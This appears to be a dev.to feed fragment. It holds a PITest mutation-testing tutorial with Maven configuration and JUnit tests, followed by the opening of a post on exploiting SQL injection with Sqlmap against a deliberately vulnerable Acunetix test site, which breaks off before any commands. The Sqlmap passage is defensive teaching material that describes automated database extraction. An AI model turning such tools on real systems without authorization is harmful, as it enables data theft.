&lt;li&gt;&lt;p&gt;&lt;strong&gt;Killed&lt;/strong&gt;: This means the mutant has been &lt;strong&gt;killed&lt;/strong&gt; and therefore the part of the code that has been tested is properly covered.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Survived&lt;/strong&gt;: This means the mutant has &lt;strong&gt;survived&lt;/strong&gt;, and the added or changed functionality is not properly covered by tests. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Infinite loop/runtime error&lt;/strong&gt;: This usually means that the mutation is something that could not happen in this scenario.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="http://pitest.org/" rel="noopener noreferrer"&gt;PITest framework&lt;/a&gt; is a JVM-based mutation testing tool with high performance and easy to use. I do not think this tool has &lt;a href="http://pitest.org/java_mutation_testing_systems/" rel="noopener noreferrer"&gt;competitors&lt;/a&gt; who have all of their features.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started: Step by step with PITest 1.4.5 (2019 released version)
&lt;/h2&gt;

&lt;p&gt;First, we will see how the jacoco code coverage is faulty.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create a Demo App
&lt;/h3&gt;

&lt;p&gt;1 - Go to &lt;a href="https://start.spring.io/" rel="noopener noreferrer"&gt;https://start.spring.io/&lt;/a&gt; and create a simple demo app (without site dependencies).&lt;/p&gt;

&lt;p&gt;2 - Edit the &lt;code&gt;pom.xml&lt;/code&gt; file, add Jacoco and maven plugins:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;

            &lt;span class="nt"&gt;&amp;lt;plugin&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.maven.plugins&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;maven-compiler-plugin&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;3.7.0&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;configuration&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;source&amp;gt;&lt;/span&gt;1.8&lt;span class="nt"&gt;&amp;lt;/source&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;target&amp;gt;&lt;/span&gt;1.8&lt;span class="nt"&gt;&amp;lt;/target&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/configuration&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/plugin&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;plugin&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.apache.maven.plugins&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;maven-surefire-plugin&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;2.19.1&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/plugin&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;plugin&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.jacoco&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;jacoco-maven-plugin&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;0.8.2&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;executions&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;execution&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;goals&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;goal&amp;gt;&lt;/span&gt;prepare-agent&lt;span class="nt"&gt;&amp;lt;/goal&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/goals&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/execution&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;execution&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;id&amp;gt;&lt;/span&gt;report&lt;span class="nt"&gt;&amp;lt;/id&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;phase&amp;gt;&lt;/span&gt;prepare-package&lt;span class="nt"&gt;&amp;lt;/phase&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;goals&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;goal&amp;gt;&lt;/span&gt;report&lt;span class="nt"&gt;&amp;lt;/goal&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/goals&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/execution&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/executions&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/plugin&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;3 - Still in &lt;code&gt;pom.xml&lt;/code&gt; file, add the unit testing dependencies.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;

        &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;junit&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;junit&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;4.12&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;scope&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/scope&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;dependency&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.assertj&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;assertj-core&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;3.9.0&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;scope&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/scope&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/dependency&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;4 - Create a simple service to verify whether a provided input number is between 0 and 100.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8297buzudjc4nlesx5fo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8297buzudjc4nlesx5fo.PNG" alt="service"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5 - Create a test class (without Asserts) like the one below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcv4wg8n64uopny3m9pfg.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcv4wg8n64uopny3m9pfg.PNG" alt="without_Asserts"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Running the Demo App
&lt;/h3&gt;

&lt;p&gt;Run &lt;code&gt;mvn clean install&lt;/code&gt; in the root directory.&lt;/p&gt;

&lt;p&gt;In this step, we can notice that our code is fully covered by unit tests. Open the jacoco report in &lt;code&gt;target/site/jacoco/index.html&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feq1tiwgwoynrw7fo1z0j.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feq1tiwgwoynrw7fo1z0j.PNG" alt="jacoco"&gt;&lt;/a&gt;&lt;br&gt;
Both line and branch coverage reports 100% unit tests coverage, but nothing is being tested really!&lt;/p&gt;
&lt;h3&gt;
  
  
  Adding the PITest plugin
&lt;/h3&gt;

&lt;p&gt;We can limit code mutation and test runs by using &lt;strong&gt;targetClasses&lt;/strong&gt; and &lt;strong&gt;targetTests&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;And &lt;strong&gt;avoidCallsTo&lt;/strong&gt; to keep specified line codes from being mutated. This improves the mutation time.&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;

             &lt;span class="nt"&gt;&amp;lt;plugin&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;groupId&amp;gt;&lt;/span&gt;org.pitest&lt;span class="nt"&gt;&amp;lt;/groupId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;artifactId&amp;gt;&lt;/span&gt;pitest-maven&lt;span class="nt"&gt;&amp;lt;/artifactId&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;version&amp;gt;&lt;/span&gt;1.4.5&lt;span class="nt"&gt;&amp;lt;/version&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;executions&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;execution&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;phase&amp;gt;&lt;/span&gt;test&lt;span class="nt"&gt;&amp;lt;/phase&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;goals&amp;gt;&lt;/span&gt;
                            &lt;span class="nt"&gt;&amp;lt;goal&amp;gt;&lt;/span&gt;mutationCoverage&lt;span class="nt"&gt;&amp;lt;/goal&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;/goals&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/execution&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/executions&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;configuration&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;targetClasses&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;param&amp;gt;&lt;/span&gt;com.example.demo.service*&lt;span class="nt"&gt;&amp;lt;/param&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/targetClasses&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;targetTests&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;param&amp;gt;&lt;/span&gt;com.example.demo.service*&lt;span class="nt"&gt;&amp;lt;/param&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/targetTests&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;avoidCallsTo&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;avoidCallsTo&amp;gt;&lt;/span&gt;java.util.logging&lt;span class="nt"&gt;&amp;lt;/avoidCallsTo&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;avoidCallsTo&amp;gt;&lt;/span&gt;org.apache.log4j&lt;span class="nt"&gt;&amp;lt;/avoidCallsTo&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;avoidCallsTo&amp;gt;&lt;/span&gt;org.slf4j&lt;span class="nt"&gt;&amp;lt;/avoidCallsTo&amp;gt;&lt;/span&gt;
                        &lt;span class="nt"&gt;&amp;lt;avoidCallsTo&amp;gt;&lt;/span&gt;org.apache.commons.logging&lt;span class="nt"&gt;&amp;lt;/avoidCallsTo&amp;gt;&lt;/span&gt;
                    &lt;span class="nt"&gt;&amp;lt;/avoidCallsTo&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;/configuration&amp;gt;&lt;/span&gt;
            &lt;span class="nt"&gt;&amp;lt;/plugin&amp;gt;&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  Run the Demo App with PITest
&lt;/h3&gt;

&lt;p&gt;Run &lt;code&gt;mvn clean install&lt;/code&gt; in the root directory and look at the PITest report in &lt;code&gt;/target/pit-reports/&amp;lt;date&amp;gt;/index.html&lt;/code&gt;.&lt;br&gt;
Here we can notice the line coverage is still 100% but a new coverage has been introduced: &lt;strong&gt;Mutation Coverage&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wv5e3md2rysnmvfyerq.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0wv5e3md2rysnmvfyerq.PNG" alt="pit_geral"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Adding real tests with assertions
&lt;/h3&gt;

&lt;p&gt;We can add asserts like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqnm7fh3y4w3uim4bmgg.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqnm7fh3y4w3uim4bmgg.PNG" alt="test_class2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run &lt;code&gt;mvn clean install&lt;/code&gt; and check the PITest report again.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff46rdgqksw35xdzddnze.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff46rdgqksw35xdzddnze.PNG" alt="coverage2"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5wcduihhqe3lwlmhofo.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5wcduihhqe3lwlmhofo.PNG" alt="coverage2_detail"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;PITest executed tests after mutating our original source code and discovered some mutations are not handled by unit tests so we need to fix that.&lt;/p&gt;

&lt;p&gt;To do so, we should cover cases including limit test case which means when the provided value is either 0 and 100.&lt;/p&gt;

&lt;p&gt;Following are the test cases to cover mutation testing:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;

 &lt;span class="nd"&gt;@Test&lt;/span&gt;
  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;hundredReturnsTrue&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;assertThat&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cut&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isValid&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="o"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;isTrue&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;

  &lt;span class="nd"&gt;@Test&lt;/span&gt;
  &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;zeroReturnsFalse&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;assertThat&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cut&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isValid&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)).&lt;/span&gt;&lt;span class="na"&gt;isFalse&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;Running again the PITest mutation coverage command and looking at its report, we can now notice both line and mutation coverage look 100% good.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6dxuyahqw1dnfhupsi6f.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6dxuyahqw1dnfhupsi6f.PNG" alt="success"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Bonus
&lt;/h2&gt;

&lt;p&gt;We can use the property &lt;strong&gt;mutationThreshold&lt;/strong&gt; to define a percentage of mutation at which the build will fail in case this percentage is bellow the threshold.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F25d2exhm3e48xjwih3id.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F25d2exhm3e48xjwih3id.PNG" alt="fail_build"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Performance of PITest in a real scenario
&lt;/h2&gt;

&lt;p&gt;Running PITest in a small project (6300 lines of code) results in:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

PIT &amp;gt;&amp;gt; INFO : MINION : 3:56:19 PM PIT &amp;gt;&amp;gt; INFO : Checking environment    
PIT &amp;gt;&amp;gt; INFO : MINION : 3:56:20 PM PIT &amp;gt;&amp;gt; INFO : Found  254 tests
================================================================================
- Timings
================================================================================
&amp;gt; scan classpath : &amp;lt; 1 second
&amp;gt; coverage and dependency analysis : 5 seconds
&amp;gt; build mutation tests : &amp;lt; 1 second
&amp;gt; run mutation analysis : 2 minutes and 15 seconds
--------------------------------------------------------------------------------
&amp;gt; Total  : 2 minutes and 21 seconds
--------------------------------------------------------------------------------
================================================================================
- Statistics
================================================================================
&amp;gt;&amp;gt; Generated 733 mutations Killed 690 (94%)
&amp;gt;&amp;gt; Ran 1158 tests (1.58 tests per mutation)



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;For this project, PITest showed that it generated a total of 733 mutations and of this total only 43 survived, resulting in 94% of mutation coverage.&lt;/p&gt;

&lt;p&gt;Mutation testing can be a heavy process, but from my experience, by reaching 85% of mutation coverage, my team felt safe enough to make releases without manually testing the product. (That's cool!)&lt;/p&gt;
&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Note that code coverage is still an important metric, but sometimes it is not enough to guarantee a well-tested code. Mutation testing is a good additional technique to make unit tests better.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/silviobuss" rel="noopener noreferrer"&gt;
        silviobuss
      &lt;/a&gt; / &lt;a href="https://github.com/silviobuss/pitest-spring-boot2-demo" rel="noopener noreferrer"&gt;
        pitest-spring-boot2-demo
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;pitest with spring-boot2 demo&lt;/h1&gt;

&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Increase the quality of unit tests using mutation with PITest&lt;/h2&gt;

&lt;/div&gt;

&lt;p&gt;You can see more about this case (step by step) in &lt;a href="https://dev.to/silviobuss/increase-the-quality-of-unit-tests-using-mutation-with-pitest-3b27/" rel="nofollow"&gt;https://dev.to/silviobuss/increase-the-quality-of-unit-tests-using-mutation-with-pitest-3b27/&lt;/a&gt;.&lt;/p&gt;

&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/silviobuss/pitest-spring-boot2-demo" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;&lt;a href="https://twitter.com/silvio_buss" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fres.cloudinary.com%2Fpracticaldev%2Fimage%2Ffetch%2Fs--cMkfg_Vv--%2Fc_limit%252Cf_auto%252Cfl_progressive%252Cq_auto%252Cw_880%2Fhttps%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fgmrz82bjwhej1f1iqb1e.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://itnext.io/start-killing-mutants-mutation-test-your-code-3bea71df27f2" rel="noopener noreferrer"&gt;https://itnext.io/start-killing-mutants-mutation-test-your-code-3bea71df27f2&lt;/a&gt;&lt;br&gt;
&lt;a href="https://www.baeldung.com/java-mutation-testing-with-pitest" rel="noopener noreferrer"&gt;https://www.baeldung.com/java-mutation-testing-with-pitest&lt;/a&gt;&lt;br&gt;
&lt;a href="https://github.com/rdelgatte/pitest-examples" rel="noopener noreferrer"&gt;https://github.com/rdelgatte/pitest-examples&lt;/a&gt;&lt;/p&gt;

</description>
      <category>testing</category>
      <category>java</category>
      <category>mutation</category>
      <category>codequality</category>
    </item>
    <item>
      <title>Are you vulnerable to a SQL injection attack? Exploiting with Sqlmap</title>
      <dc:creator>Silvio Buss</dc:creator>
      <pubDate>Sun, 30 Jun 2019 21:06:49 +0000</pubDate>
      <link>https://dev.to/silviobuss/are-you-vulnerable-to-a-sql-injection-attack-exploiting-with-sqlmap-4087</link>
      <guid>https://dev.to/silviobuss/are-you-vulnerable-to-a-sql-injection-attack-exploiting-with-sqlmap-4087</guid>
      <description>&lt;h2&gt;
  
  
  What is SQL Injection?
&lt;/h2&gt;

&lt;p&gt;If you are new to SQL Injection, visit this simple and good text &lt;a href="https://tableplus.io/blog/2018/08/sql-injection-attack-explained-with-example.html" rel="noopener noreferrer"&gt;SQL Injection Attack explained, with example&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is post about?
&lt;/h2&gt;

&lt;p&gt;I am not advocating that you start using SQL injection to start stealing other people or companies data. However, I do think that you should know the various SQL injection techniques so that you will be better prepared to prevent them from happening in your own web application.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to begin
&lt;/h2&gt;

&lt;p&gt;The first step in preventing this attack is to establish which (if any) of your applications are vulnerable. The best way to do this is to launch your own attacks to see whether they are successful. But SQL is a complex language, so it is not a trivial task to construct code snippets that can be injected into a query to attempt to compromise a database.&lt;/p&gt;

&lt;p&gt;The good news is that this is not necessary because all we need to do is run an automated SQL injection attack tool to do the work.&lt;/p&gt;

&lt;p&gt;An example is &lt;a href="http://sqlmap.org/" rel="noopener noreferrer"&gt;Sqlmap&lt;/a&gt; (explained below), a open-source tool and one the most powerful for automated SQL injection, it has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, among others.&lt;/p&gt;

&lt;p&gt;Point it at a potential target and Sqlmap probes the site to determine what type of database is in use. Using that knowledge, this tool then builds queries to probe characteristics of the database. Requiring little to no SQL expertise from the end user, Sqlmap can potentially extract fields, tables, and sometimes even full data dumps from a target.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent SQL Injection Attacks
&lt;/h2&gt;

&lt;p&gt;We must works and evolve existing tools and processes (we do not need reinvent the wheel!).&lt;/p&gt;

&lt;p&gt;The Best collection of advice and best practices about this topic is at &lt;a href="https://bobby-tables.com" rel="noopener noreferrer"&gt;bobby-tables.com&lt;/a&gt; and &lt;a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md" rel="noopener noreferrer"&gt;OWASP Cheat Sheet Series&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Sqlmap 1.3 (2019 released version) to exploit SQL injection - Step by Step Explained
&lt;/h2&gt;

&lt;p&gt;To show how it works, we will use an already vulnerable system developed by &lt;a href="https://www.acunetix.com" rel="noopener noreferrer"&gt;Acunetix&lt;/a&gt;, the site &lt;a href="http://testphp.vulnweb.com" rel="noopener noreferrer"&gt;http://testphp.vulnweb.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To understand this tutorial you should have some knowledge of how database driven web applications work and how &lt;a href="https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/" rel="noopener noreferrer"&gt;find a vulnerable urls&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Installing
